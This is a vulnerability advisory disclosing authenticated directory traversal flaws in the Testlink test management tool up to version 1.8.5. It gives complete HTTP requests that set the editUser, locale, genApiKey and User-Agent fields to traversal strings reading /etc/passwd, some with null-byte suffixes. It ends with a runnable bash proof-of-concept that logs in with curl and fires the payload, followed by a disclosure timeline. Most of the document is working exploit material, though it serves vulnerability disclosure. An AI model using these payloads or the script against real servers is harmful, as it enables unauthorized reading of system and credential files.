Testlink TestManagement and Execution System suffers from directory traversal vulnerabilities.
83f339bed5abb1597662d74924888afa7fdc10c709333f7bf52d46be82a6cbe1
1.Title :Multiple Directory traversal Vulnerabilites in Testlink Test Management and Execution System.
Discovered by: Prashant Khandelwal (clickprashant@gmail.com)
2.Vulnerability Information
Class: Directory Traversal
Remotely Exploitable: Yes
Locally Exploitable: No
3.Vulnerable packages.
Versions affected :All versions <= Testlink 1.8.5
Download : http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc
4.Vulnerability Description
Multiple directory traversal vulnerabilities has been found in Testlink(http://www.teamst.org/) a popular and acclaimed free, open source Test management tool written in PHP.
The issue discovered can only be exploited with an authenticated session.This directory traversal vulnerability is present in the file /testlink/lib/usermanagement/userInfo.php & In testlink 1.8.5 these issues can be exploited by setting the variable "editUser"& "locale" like below with a HTTP POST request
Example HTTP header for 1.8.5
-----------------------------------------------------------------------------------------------------------------------------------
a)Directory Traversal :The POST variable editUser has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
------------------------------------------------------------------------------------------------------------------------------------
Request
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 10.209.84.1
Content-Length: 182
Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cache
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=cs_CZ&editUser=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwdResponse
-----------------------------------------------------------------------------------------------------------------------------------
b)Directory Traversal :The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html
------------------------------------------------------------------------------------------------------------------------------------
Request
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 10.209.84.1
Content-Length: 160
Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cache
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=../../../../../../../../etc/passwd%00.html&editUser=GuardarResponse
In testlink 1.8.4 these issues can be exploited by setting the variable "genApiKey"& "locale" like below with a HTTP POST request.
Example HTTP header for 1.8.4
-----------------------------------------------------------------------------------------------------------
a)Directory traverasa : The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html.
-----------------------------------------------------------------------------------------------------------
Request
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 10.209.84.1
Content-Length: 153
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cache
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email@address.tst&locale=../../../../../../../../etc/passwd%00.html&editUser=SaveResponse
-----------------------------------------------------------------------------------------------------------------------------------
b)Directory Traversal : The POST variable genApiKey has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
------------------------------------------------------------------------------------------------------------------------------------
Request
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 10.209.84.1
Content-Length: 81
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cache
id=1&genApiKey=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
One of the issues in Testlink 1.8.4 can be exploited by directory traversing with the HTTP User-Agent header like below.
-----------------------------------------------------------------------------------------------------------------------------------
c)Directory Traversal :The HTTP header user-agent has been set to ../../../../../../../../etc/passwd .htm.
------------------------------------------------------------------------------------------------------------------------------------
Request
GET /testlink/lib/usermanagement/userInfo.php HTTP/1.0
Accept: */*
User-Agent: ../../../../../../../../etc/passwd .htm
Host: 10.209.84.1
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381
Connection: Close
Pragma: no-cacheResponse
5.Proof of Concept
================
#!/usr/bin/env bash
# Prashant Khandelwal [clickprashant@gmail.com]
# Remote Directory Traversal in Testlink the Test Management Tool
# Vendor : Testlink http://www.teamst.org
# Affected Version : <=1.8.5 (http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc)
# Vulnerability Discovered: 5-Jan-2010
# This POC is for Educational purpose & has only been tested with testlink 1.8.5
if [ $# -ne 4 ]
then
echo "Usage - ./$0 User password Testlink_root_dir_URI Directory_traversal_string"
echo "Example - ./$0 admin admin http://Testlink-Server/testlink ../../../../../../../../etc/passwd%00.html"
exit 1
fi
rm -rf cookies output.txt
curl -d "tl_login=$1&tl_password=$2" $3/login.php -c cookies
curl -d "id=1&firstName=Directorytraversal&lastName=Exploit&emailAddress=111-222-1933email%40address%2Etst&locale=$4&editUser=admin" $3/lib/usermanagement/userInfo.php -b cookies -v | more >output.txt
head -n 80 output.txt
================
6. Report Timeline
I) 5-Jan-2010
Vulnerability dicovered
II) 8-Jan-2010
Notified about the vulnerability to the developer Francisco Mancardi & Martin Havlat from testlink team
III)8-Jan-2010
Developer Notifies that they will try to fix this.
IV) 11-Jan-2010
Francisco Mancardi ask for POC.
V) 14-Jan-2010
POC's given
VI) 15-Jan-2010
Francisco Mancardi notified that these vulnerabilities cannot be patched at the moment and has not commited any timeline for fixing the same.